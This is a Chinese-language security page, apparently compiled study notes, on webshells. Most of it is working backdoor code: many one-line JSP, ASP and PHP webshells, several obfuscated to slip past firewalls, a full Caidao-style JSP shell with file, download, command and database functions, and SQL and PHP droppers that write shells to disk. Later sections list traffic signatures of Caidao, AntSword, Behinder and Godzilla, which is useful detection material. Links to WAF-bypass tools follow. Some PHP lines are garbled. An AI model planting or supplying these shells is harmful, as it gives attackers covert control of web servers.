一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
Webshell通常指JSP、ASP、PHP 等网页脚本文件形式存在的一种服务器可执行文件,一般带有文件操作、命令执行功能,是一种网页后门。
攻击者在入侵一个网站后,通常会将 Webshell 后门文件与网站服务器Web目录下正常的网页文件混在一起,使用浏览器或专用客户端进行连接,从而得到一个服务器操作环境,以达到控制网站服务器的目的。
JSP全称Java Server Pages,是一种动态Web资源的开发技术。
JSP 是在传统的网页HTML 文件(.htm,.html)中插入Java程序段(scriptlet)和 JSP 标记(tag),从而形成JSP 文件(*.jsp)。
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
<%if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());%>
select ‘<?php eval($_POST[cmd];?>’ into outfile ‘C:/Inetpub/wwwroot/mysql-php/1.php’
ASP全称Active Sever Page,是服务器开发专用脚本。
它可以与数据库和其他程序进行交互,是在 IIS 中运行的一种程序。
<%eval request("cmd")%>
<%execute(request(“cmd”))%>
<%execute request(“1”)%>
ASP一句话16进制:┼攠數畣整爠煥敵瑳∨≡┩愾 密码a
"%><%Eval(Request(chr(112)))%><%’ p
<%Y=request(“xindong”)%> <%execute(Y)%>
<%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))(“xindong”))%>
<%eval""&(“e”&“v”&“a”&“l”&"("&“r”&“e”&“q”&“u”&“e”&“s”&“t”&"("&“0”&"-"&“2”&"-"&“5”&")"&")")%>(密码是-7)
密码(pass)
<% %>
<%a=request(“zl”)%><%eval a%>
jsp??pwd=023&i=whoami
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!String Pwd = "pass";
String EC(String s, String c) throws Exception {
return s;
}//new String(s.getBytes("ISO-8859-1"),c);}
Connection GC(String s) throws Exception {
String[] x = s.trim().split("\r\n");
Class.forName(x[0].trim()).newInstance();
Connection c = DriverManager.getConnection(x[1].trim());
if (x.length > 2) {
c.setCatalog(x[2].trim());
}
return c;
}
void AA(StringBuffer sb) throws Exception {
File r[] = File.listRoots();
for (int i = 0; i < r.length; i++) {
sb.append(r[i].toString().substring(0, 2));
}
}
void BB(String s, StringBuffer sb) throws Exception {
File oF = new File(s), l[] = oF.listFiles();
String sT, sQ, sF = "";
java.util.Date dt;
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (int i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : "";
sQ += l[i].canWrite() ? " W" : "";
if (l[i].isDirectory()) {
sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()
+ "\t" + sQ + "\n");
} else {
sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"
+ sQ + "\n";
}
}
sb.append(sF);
}
void EE(String s) throws Exception {
File f = new File(s);
if (f.isDirectory()) {
File x[] = f.listFiles();
for (int k = 0; k < x.length; k++) {
if (!x[k].delete()) {
EE(x[k].getPath());
}
}
}
f.delete();
}
void FF(String s, HttpServletResponse r) throws Exception {
int n;
byte[] b = new byte[512];
r.reset();
ServletOutputStream os = r.getOutputStream();
BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
os.write(("->" + "|").getBytes(), 0, 3);
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.write(("|" + "<-").getBytes(), 0, 3);
os.close();
is.close();
}
void GG(String s, String d) throws Exception {
String h = "0123456789ABCDEF";
int n;
File f = new File(s);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < d.length(); i += 2) {
os
.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d
.charAt(i + 1))));
}
os.close();
}
void HH(String s, String d) throws Exception {
File sf = new File(s), df = new File(d);
if (sf.isDirectory()) {
if (!df.exists()) {
df.mkdir();
}
File z[] = sf.listFiles();
for (int j = 0; j < z.length; j++) {
HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
}
} else {
FileInputStream is = new FileInputStream(sf);
FileOutputStream os = new FileOutputStream(df);
int n;
byte[] b = new byte[512];
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
is.close();
os.close();
}
}
void II(String s, String d) throws Exception {
File sf = new File(s), df = new File(d);
sf.renameTo(df);
}
void JJ(String s) throws Exception {
File f = new File(s);
f.mkdir();
}
void KK(String s, String t) throws Exception {
File f = new File(s);
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt = fm.parse(t);
f.setLastModified(dt.getTime());
}
void LL(String s, String d) throws Exception {
URL u = new URL(s);
int n;
FileOutputStream os = new FileOutputStream(d);
HttpURLConnection h = (HttpURLConnection) u.openConnection();
InputStream is = h.getInputStream();
byte[] b = new byte[512];
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.close();
is.close();
h.disconnect();
}
void MM(InputStream is, StringBuffer sb) throws Exception {
String l;
BufferedReader br = new BufferedReader(new InputStreamReader(is));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
}
void NN(String s, StringBuffer sb) throws Exception {
Connection c = GC(s);
ResultSet r = c.getMetaData().getCatalogs();
while (r.next()) {
sb.append(r.getString(1) + "\t");
}
r.close();
c.close();
}
void OO(String s, StringBuffer sb) throws Exception {
Connection c = GC(s);
String[] t = {
"TABLE" };
ResultSet r = c.getMetaData().getTables(null, null, "%", t);
while (r.next()) {
sb.append(r.getString("TABLE_NAME") + "\t");
}
r.close();
c.close();
}
void PP(String s, StringBuffer sb) throws Exception {
String[] x = s.trim().split("\r\n");
Connection c = GC(s);
Statement m = c.createStatement(1005, 1007);
ResultSet r = m.executeQuery("select * from " + x[3]);
ResultSetMetaData d = r.getMetaData();
for (int i = 1; i <= d.getColumnCount(); i++) {
sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)
+ ")\t");
}
r.close();
m.close();
c.close();
}
void QQ(String cs, String s, String q, StringBuffer sb) throws Exception {
int i;
Connection c = GC(s);
Statement m = c.createStatement(1005, 1008);
try {
ResultSet r = m.executeQuery(q);
ResultSetMetaData d = r.getMetaData();
int n = d.getColumnCount();
for (i = 1; i <= n; i++) {
sb.append(d.getColumnName(i) + "\t|\t");
}
sb.append("\r\n");
while (r.next()) {
for (i = 1; i <= n; i++) {
sb.append(EC(r.getString(i), cs) + "\t|\t");
}
sb.append("\r\n");
}
r.close();
} catch (Exception e) {
sb.append("Result\t|\t\r\n");
try {
m.executeUpdate(q);
sb.append("Execute Successfully!\t|\t\r\n");
} catch (Exception ee) {
sb.append(ee.toString() + "\t|\t\r\n");
}
}
m.close();
c.close();
}%>
<%
String cs = request.getParameter("z0")==null?"gbk": request.getParameter("z0") + "";
request.setCharacterEncoding(cs);
response.setContentType("text/html;charset=" + cs);
String Z = EC(request.getParameter(Pwd) + "", cs);
String z1 = EC(request.getParameter("z1") + "", cs);
String z2 = EC(request.getParameter("z2") + "", cs);
StringBuffer sb = new StringBuffer("");
try {
sb.append("->" + "|");
if (Z.equals("A")) {
String s = new File(application.getRealPath(request
.getRequestURI())).getParent();
sb.append(s + "\t");
if (!s.substring(0, 1).equals("/")) {
AA(sb);
}
} else if (Z.equals("B")) {
BB(z1, sb);
} else if (Z.equals("C")) {
String l = "";
BufferedReader br = new BufferedReader(
new InputStreamReader(new FileInputStream(new File(
z1))));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
br.close();
} else if (Z.equals("D")) {
BufferedWriter bw = new BufferedWriter(
new OutputStreamWriter(new FileOutputStream(
new File(z1))));
bw.write(z2);
bw.close();
sb.append("1");
} else if (Z.equals("E")) {
EE(z1);
sb.append("1");
} else if (Z.equals("F")) {
FF(z1, response);
} else if (Z.equals("G")) {
GG(z1, z2);
sb.append("1");
} else if (Z.equals("H")) {
HH(z1, z2);
sb.append("1");
} else if (Z.equals("I")) {
II(z1, z2);
sb.append("1");
} else if (Z.equals("J")) {
JJ(z1);
sb.append("1");
} else if (Z.equals("K")) {
KK(z1, z2);
sb.append("1");
} else if (Z.equals("L")) {
LL(z1, z2);
sb.append("1");
} else if (Z.equals("M")) {
String[] c = {
z1.substring(2), z1.substring(0, 2), z2 };
Process p = Runtime.getRuntime().exec(c);
MM(p.getInputStream(), sb);
MM(p.getErrorStream(), sb);
} else if (Z.equals("N")) {
NN(z1, sb);
} else if (Z.equals("O")) {
OO(z1, sb);
} else if (Z.equals("P")) {
PP(z1, sb);
} else if (Z.equals("Q")) {
QQ(cs, z1, z2, sb);
}
} catch (Exception e) {
sb.append("ERROR" + ":// " + e.toString());
}
sb.append("|" + "<-");
out.print(sb.toString());
%>
<%@ Page Language = Jscript %>
<%var/-/-/P/-/-/=/-/-/“e”+“v”+/-/-/
“a”+“l”+"("+“R”+“e”+/-/-/“q”+“u”+“e”/-/-/+“s”+“t”+
“[/-/-/0/-/-/-/-/-/2/-/-/-/-/-/5/-/-/]”+
“,”+"""+“u”+“n”+“s”/-/-/+“a”+“f”+“e”+"""+")";eval
(/-/-/P/-/-/,/-/-/“u”+“n”+“s”/-/-/+“a”+“f”+“e”/-/-/);%> 密码 -7
<%@ Page Language=“Jscript”%><%eval(Request.Item[“xindong”],“unsafe”);%>
密码是webadmin
<%@ Page Language=“Jscript” validateRequest=“false” %><%Response.Write(eval(Request.Item[“w”],“unsafe”));%>
PHP 全称 Hypertext Preprocessor,是一种通用开源脚本语言,主要适用于 Web开发领域。
PHP可支持常见的数据库及操作系统,可快速地执行动态网页。
<?php $a=exec($_GET["input"]); echo $a;?>
<?php eval($_POST['pass']);?>
<?php @eval($_POST['cc123']);?>
<?php @eval($_request['shell']);?>
<? @system($_GET["cc"]); ?>
<?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["xindong"]); ?>
<?php $lang = (string)key($_POST);$lang($_POST['xindong']);?>
<?php $k="ass"."ert"; $k(${
"_PO"."ST"} ['xindong']);?>
<?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["xindong"]); ?>
<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{
"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?> 密码是 -7
select '' into outfile 'C:/Inetpub/wwwroot/mysql-php/1.php'
<?php $_=""; $_[+$_]++; $_=$_.""; $___=$_[+""];//A $____=$___; $____++;//B $_____=$____; $_____++;//C $______=$_____; $______++;//D $_______=$______; $_______++;//E $________=$_______; $________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;//O $_________=$________; $_________++;$_________++;$_________++;$_________++;//S $_=$____.$___.$_________.$_______.'6'.'4'.'_'.$______.$_______.$_____.$________.$______.$_______; $________++;$________++;$________++;//R $_____=$_________; $_____++;//T $__=$___.$_________.$_________.$_______.$________.$_____; $__($_("ZXZhbCgkX1BPU1RbMV0p")); ?>
t;$s($REQUEST[′cc123′]);?><?php$t=$GET[′t′];//t=tt$tt=$GET[′tt′];//tt=as$ttt=$GET[′ttt′];//ttt=sert$s=
t;$s($REQUEST[′cc123′]);?><?php$t=$GET[′t′];//t=tt$tt=$GET[′tt′];//tt=as$ttt=$GET[′ttt′];//ttt=sert$s=
t.$ttt; $s($_REQUEST['cc']);?> <?php $t=$_GET['t']; //t=tt $tt=$_GET['tt']; //tt=as $ttt=$_GET['ttt']; //ttt=s $tttt=$_GET['tttt']; //ttt=ert $s=
t.$ttt.$tttt;$s($REQUEST[′cc′]);?><?php$t=$GET[′t′];//t=tt$tt=$GET[′tt′];//tt=as$ttt=$GET[′ttt′];//ttt=tttt$tttt=$GET[′tttt′];//ttt=sert$s=
t.$ttt.$tttt;$s($REQUEST[′cc′]);?><?php$t=$GET[′t′];//t=tt$tt=$GET[′tt′];//tt=as$ttt=$GET[′ttt′];//ttt=tttt$tttt=$GET[′tttt′];//ttt=sert$s=
t.
ttt;$s($REQUEST[′cc′]);?><?php$a=$REQUEST[′a′];//a=b;$b=$REQUEST[′b′];//b=as;$c=$REQUEST[′c′];//c=sert;$d=$REQUEST[′d′];//d=c;$e=
ttt;$s($REQUEST[′cc′]);?><?php$a=$REQUEST[′a′];//a=b;$b=$REQUEST[′b′];//b=as;$c=$REQUEST[′c′];//c=sert;$d=$REQUEST[′d′];//d=c;$e=
a.
d;$e($REQUEST[′cc′]);?><?php$a=$REQUEST[′a′];//a=assert;$b=$REQUEST[′b′];//b=a;$d=
d;$e($REQUEST[′cc′]);?><?php$a=$REQUEST[′a′];//a=assert;$b=$REQUEST[′b′];//b=a;$d=
b; $d($_REQUEST['cc']); ?>
PHP过狗
<?php if($_POST[x]!=''){
$a="base64_decode"; eval($a($_POST[z0]));}?> 密码:x
<%a=request(“gold”)%><%eval a%>
fuck<?php
eval
($_POST
[a])
?>
<?php $a=range(1,200);$b=chr($a[96]).chr($a[114]).chr($a[114]).chr($a[100]).chr($a[113]).chr($a[115]); $b(${
chr($a[94]).chr($a[79]).chr($a[78]).chr($a[82]).chr($a[83])}[chr($a[51])]); ?> 密码 4
该日志目录不存在或权限不足,请检查设置!<?php
eval
($_POST
[a])
?>
<?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["sz"]); ?> <?php $lang = (string)key($_POST);$lang($_POST['sz']); ?> <?php $k="ass"."ert"; $k(${
"_PO"."ST"} ['sz']);?> <?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["sz"]); ?>
这个是90发的<?php
@$_=“s”.“s”./-/-/“e”./-/-/“r”;
@= / ∗ − / ∗ − ∗ / " a " . / ∗ − / ∗ − ∗ / _=/*-/*-*/"a"./*-/*-*/
=
/∗−/∗−∗/"a"./∗−/∗−∗/_./-/-*/“t”;
@/ ∗ − / ∗ − ∗ / ( _/*-/*-*/(
/
∗−/∗−∗/(/-/-/{
"_P"./-/-/“OS”./-/-*/“T”}
[/-/-/0/-/-/-/-/-/2/-/-/-/-/-/5/-/-/]);?>
密码-7
phpv9 高版本拿shell
<?php file_put_contents('c7.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2NjMjc4OV0pOz8+')); ?>
…/…/…/…/html/special/cc/index
https://mp.weixin.qq.com/s/IncD-3qC_wcQJ5j9Evoksw
Wireshark
ip.dst == 192.168.31.64 && tcp.port == 80
HTTP协议进行分析
WebShell是通过HTTP协议进行远程控制的一种方式。
HTTP请求和响应报文的内容
HTTP头部的字段等
菜刀base64加密
请求头 User-Agent存在百度或者火狐
请求体 存在QGluaV9zZXQ攻击的开头部分后面的部分需要base64解码
z0(也会修改)跟随后面的payload的base64的数据。
z0是菜刀的默认参数
eval也会替换成assert的方式(可能是拼接)
url解码->base64解码
蚁剑 使用的AES加密算法进行加密的,同时使用了自定义的二进制协议在通信传输各种类型数据
请求中的User-Agent值是:antSword/*
也有可能是:
Mozilla/5.0 (Windows NT ***) AppleWebKit/*** (KHTML, like Gecko) Chrome/***** Safari/****
请求中可以检测到的关键字:“eval””eVAL”
请求体存在@ini_set("display_errors", "0");@set_time_limit(0);(开头可能是菜刀或者是蚁剑)
明显参数多数是_0x......=这种形式所以_0x开头的参数名,以及dirname、get_current_user函数的字眼
后面为加密数据的数据包可以鉴定为蚁剑的流量特征
命令执行时有目录标记[S]、[E]、[R]、[D]、等,说明已经拿到shell了(在执行系统
payload特征
php assert、eval关键字执行,
asp eval
在jsp使用
Java 同时会带有base64编码解码等字符特征
冰蝎 AES(对称加密)16位密钥和base64编码
Accept字段:
请求头中存在Accept: application/json, text/javascript, */*; q=0.01
也有可能Accept: text/html,image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: application/octet-stream ******
q=0.8
userAgent字段:
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533+ (KHTML, like Gecko) Element Browser/5.0
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.37 Edge/16.16299
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0
Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Mozilla/7.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; Xbox)
Cinnection子段:
Connection: Keep-Alive
(冰蝎默认使用的长连接是为了避免频繁的握手造成的资源丢失)
哥斯拉
Cookie的结尾会出现分号
Accept头是
Accept参数是哥斯拉固定的
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Cache-Control头是
Cache-Control: no-store, no-cache, must-revalidate
冰蝎v3.0操作使用手册 - rebeyond
(https://www.cnblogs.com/rebeyond/p/14723316.html)
冰蝎"是一个动态二进制加密网站管理客户端。在实战中,第一代webshell管理工具"菜刀"的流量特征非常明显,很容易就被安全设备检测到。基于流量加密的webshell变得越来越多,"冰蝎"为此应运而生。
很多小伙伴,有对冰蝎二次开发以达到修改流量特征、增加功能的需求,本文详细写了如何给冰蝎增加功能,以供小伙伴们参考。
https://mp.weixin.qq.com/s/4GCg1FTZG0ufgWHa2YD8PA
冰蝎v4.0开放了传输协议的自定义功能,使得流量魔改更为简单方便,本文以jsp脚本类型为例,提供一些冰蝎4流量魔改的方式
# 0x01传输协议分析
冰蝎4内置了如下几种传输协议,传输协议可以理解为流量的加密方式
蚁剑和冰蝎、哥斯拉的区别
冰蝎,流量加密,难以被检测、webshell免杀性好、加密方式:AES加密
蚁剑,就和菜刀差不多,没啥区别
哥斯拉,他可以过一些waf,还有自带的插件
https://github.com/BeichenDream/Godzilla
https://github.com/shack2/skyscorpion
内网
https://github.com/1n7erface/RequestTemplate
一个使用 PHP 编程语言构建的后门,
采用 PHP 程序方法在隐身模式下,文件大小不会超过 15KB。
每个功能都被转换为十六进制代码,
以允许此 webshell 穿透 WAF(防火墙)服务器系统。
主要功能:多文件上传、创建文件夹和文件,文件,
可绕过403禁止,406不可接受,免疫360。
直接上传网站后台,然后访问该文件,效果如下:
https://github.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor
E:\hack\道普内部武器库\Webshell集合\Gel4y-Mini-Shell-Backdoor-1.1
【第8周】编写Burp分块传输插件绕WAF
2019-03-15 11:36
https://mp.weixin.qq.com/s/uHfGI6O7-FbFfXWD_YY3yQ
分块传输绕WAF在年初的《利用分块传输吊打所有WAF》
T00ls上看到大佬们在编写sqlmap的tamp脚本,过程中遇到了比较难解决的一个问题,对sqlmap数据包加入Transfer-Encoding: ChunkedHTTP头。
Bypass!Burp分块传输绕WAF插件
https://mp.weixin.qq.com/s/36ks8L0dTXp27eC6hV_S3g
延时分块传输
https://github.com/AabyssZG/WebShell-Bypass-Guide
https://blog.zgsec.cn/index.php/archives/197
渊龙Sec安全团队成员AabyssZG编写
一、PHP相关资料
PHP官方手册: https://www.php.net/manual/zh/
PHP函数参考: https://www.php.net/manual/zh/funcref.php
菜鸟教程: https://www.runoob.com/php/php-tutorial.html
w3school: https://www.w3school.com.cn/php/index.asp
渊龙Sec安全团队导航: https://dh.aabyss.cn
二、PHP函数速查
0# PHP基础
0.0 PHP基础格式
<?php
//执行的相关PHP代码
?>
这是一个PHP文件的基本形式
0.1 .=和+=赋值
$a = 'a'; //赋值
$b = 'b'; //赋值
$c = 'c'; //赋值
$c .= $a;
$c .= $b;
echo $c; //cab
.= 通俗的说,就是累积
+= 意思是:左边的变量的值加上右边的变量的值,再赋给左边的变量
0.2 数组
array() 函数用于创建数组
$shuzu = array("AabyssZG","AabyssTeam");
echo "My Name is " . $shuzu[0] . ", My Team is " . $shuzu[1] . ".";
//My Name is AabyssZG, My Team is AabyssTeam.
数组可嵌套:
$r = 'b[]=AabyssZG&b[]=system';
$rce = array(); //用array函数新建数组
parse_str($r, $rce); //这个函数下文有讲
print_r($rce);
$rce 数组输出为:
Array (
[b] => Array
(
[0] => AabyssZG
[1] => system
)
)
这时候可以这样利用
$rce['b'][1](参数); //提取rce数组中的b数组内容,相当于system(参数)
echo $rce['b'][0]; //AabyssZG
使用 [] 定义数组
$z = ['A','a','b', 'y', 's', 's'];
$z[0] = 'A';
$z[1] = 'a';
$z[2] = 'b';
$z[3] = 'y';
$z[4] = 's';
$z[5] = 's';
这就是基本的一个数组,数组名为z,数组第一个成员为0,以此类推
compact() 函数用于创建数组创建一个包含变量名和它们的值的数组
$firstname = "Aabyss";
$lastname = "ZG";
$age =